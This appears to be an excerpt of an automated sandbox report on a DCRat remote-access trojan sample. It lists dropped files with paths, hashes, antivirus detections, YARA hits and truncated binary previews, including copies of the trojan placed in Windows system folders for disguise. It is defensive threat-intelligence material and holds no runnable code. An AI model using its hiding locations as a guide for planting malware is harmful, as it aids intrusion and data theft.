SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xqTgNlnmpU

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yCtqapeEnX

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yItUh0a2kQ

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yIu71wmqKk

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yO1JnWujkj

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yoagtyBi6Y

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ytVr6YIGTE

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\z14JM0ronL

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zCtOYE5WCo

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zRd6XoCan7

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zdR01zEgUE

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ztZbyfXzHG

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe

Download File

Process:	C:\Users\user\Desktop\KyC6hVwU8Z.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	5.181595394449682
Encrypted:	false
SSDEEP:	384:abquDyuX3PMD1A77ciNqC/Elsrl+0+/QlDIINvB0WLFW:gquuuHPMDinDY9al+0WQFNvBZ
MD5:	F3EDFF85DE5FD002692D54A04BCB1C09
SHA1:	4C844C5B0EE7CB230C9C28290D079143E00CB216
SHA-256:	CAF29650446DB3842E1C1E8E5E1BAFADAF90FC82C5C37B9E2C75A089B7476131
SHA-512:	531D920E2567F58E8169AFC786637C1A0F7B9B5C27B27B5F0EDDBFC3E00CECD7BEA597E34061D836647C5F8C7757F2FE02952A9793344E21B39DDD4BF7985F9D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~@..:!o.:!o.:!o.3Y...!o..Jj.;!o..Jl.9!o..Jk.(!o.:!n.z!o..Jn.9!o..Jg.8!o..J..;!o..Jm.;!o.Rich:!o.........PE..d...h.6;.........."......"...*.......(.........@.....................................`....`.......... .......................................H...............p.................. ...`D..T............................@..............(A...............................text...0 .......".................. ..`.rdata..~....@.......&..............@..@.data........`.......<..............@....pdata.......p.......>..............@..@.rsrc................@..............@..@.reloc.. ............H..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe

Download File

Process:	C:\Users\user\Desktop\KyC6hVwU8Z.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	691200
Entropy (8bit):	5.5554988350478975
Encrypted:	false
SSDEEP:	12288:C9X1yJ7/pZY7fiCI/YBfULiXPrQfkXmm1RhdLB9XFy+nM6D+:CVc7EaCQYBfcE1ZM6D+
MD5:	314420BAC969BCFB9510A0E8CC3686D6
SHA1:	66F1D0A60A2727970476A105C88883F37270E30F
SHA-256:	38B9CC3CCAE02C270E3D62E62E3B3B40E90AD7F898372B8A5035445BA32F4B26
SHA-512:	DEBF908ADD95AA0849451AEF830E5E71724247D352DCB5DAD6B02DCA0D54E4E915A9430DE80D970A4E7EF3749EB2FC7C6FA7839348D84F546D5934D713E7569C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ........@.. ..............................R.....@.....................................S.......p............................................................................ ............... ..H............text........ ...................... ..`.rsrc...p...........................@..@.reloc..............................@..B.......................H.......T...d...........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\dFZxqctW.log

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\luKnOVOf.log

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\oUNDhiUw.log

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\yTUtFuTG.log

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	691200
Entropy (8bit):	5.5554988350478975
Encrypted:	false
SSDEEP:	12288:C9X1yJ7/pZY7fiCI/YBfULiXPrQfkXmm1RhdLB9XFy+nM6D+:CVc7EaCQYBfcE1ZM6D+
MD5:	314420BAC969BCFB9510A0E8CC3686D6
SHA1:	66F1D0A60A2727970476A105C88883F37270E30F
SHA-256:	38B9CC3CCAE02C270E3D62E62E3B3B40E90AD7F898372B8A5035445BA32F4B26
SHA-512:	DEBF908ADD95AA0849451AEF830E5E71724247D352DCB5DAD6B02DCA0D54E4E915A9430DE80D970A4E7EF3749EB2FC7C6FA7839348D84F546D5934D713E7569C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ........@.. ..............................R.....@.....................................S.......p............................................................................ ............... ..H............text........ ...................... ..`.rsrc...p...........................@..@.reloc..............................@..B.......................H.......T...d...........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Windows\Prefetch\ReadyBoot\f6900929d627b7

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	ASCII text, with very long lines (624), with no line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	5.90562234864637
Encrypted:	false
SSDEEP:	12:ejQHFcDVYWTNQx45BIYLgIhnEPUx3btwBFgNZO5ph5YfF3s63nX:e0HFcJYp4/BgNPopiFgZqDms63X
MD5:	2993CB98AFCEFF3EDDB272A6754326C0
SHA1:	AAF34A8E501DD4BB83B7FF125ADDC04EDAC25083
SHA-256:	59138F473D2607D463018FC30A1CF38941B483B724B31CBE6A725E27BE59A038
SHA-512:	A51120BA33B2957CC92874C974D4DEF19BAD83656208FC73A3B010FFEC7983144981756163B7B50CED33EF3D6B53D9F557760891BA8C9717C59201BA693A2AA9
Malicious:	false
Preview:	LXVGu9BQitjxjXE7fuJKEtiOi0B5pWmxaIyddEshUzoaisIBUGYqZwhbyGh47GkMGwXajldaBlzPFIpzsAkj75XolWoXgyjNPcTwVrbtm8py6SWqbsL6gAOKZtzM6G4MBm9ny3eAi169QjsSA75ynnrPOIWl1PwgEcwTSs2iNKXpDO40BhM9KFjY5uZpg2JTEZ5xxY9RFXkcPBL9OgkUCxW82XYiTNBVBDknSGCmh54weHJ3iZaARyRRD75ZAb71WPaLbirHd8xH2kdvOf94wBDMwSkVLnmF7CaPq7bArTgTAKYddKLebCFVLNZJ7W50VrJ0JOEQD8NceuMm3H1BbHo56FDciSDVXq7TAiTPF4bczm0bBwP0e4YODN3ELlsv51Fyw2lVxm6gqLGUOlavCM0dRtPxoODdMqg7hBpIK4C281i2Hj0jK6stBlhDnyqjicU9oIxM6RkHK7fZLWpFYeSQ7x65elfWNdTfhiN9vnm2VljDGI1QJlLEJEC0M2rUwO4qo91nIpTu1Z4WO2yWtOMlSPWdfXx36SGGq2ZHQOHdSbMtJqmTEVkhBSYYmYHv2ZyjTxpWdqGfGtS1CnUyudzkriFXdBf2GWk3mnZVAQ0XOFaS

C:\Windows\Resources\Ease of Access Themes\PfjsOcNiQfAmiszo.exe

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	691200
Entropy (8bit):	5.5554988350478975
Encrypted:	false
SSDEEP:	12288:C9X1yJ7/pZY7fiCI/YBfULiXPrQfkXmm1RhdLB9XFy+nM6D+:CVc7EaCQYBfcE1ZM6D+
MD5:	314420BAC969BCFB9510A0E8CC3686D6
SHA1:	66F1D0A60A2727970476A105C88883F37270E30F
SHA-256:	38B9CC3CCAE02C270E3D62E62E3B3B40E90AD7F898372B8A5035445BA32F4B26
SHA-512:	DEBF908ADD95AA0849451AEF830E5E71724247D352DCB5DAD6B02DCA0D54E4E915A9430DE80D970A4E7EF3749EB2FC7C6FA7839348D84F546D5934D713E7569C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ........@.. ..............................R.....@.....................................S.......p............................................................................ ............... ..H............text........ ...................... ..`.rsrc...p...........................@..@.reloc..............................@..B.......................H.......T...d...........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Windows\Resources\Ease of Access Themes\f6900929d627b7

Download File

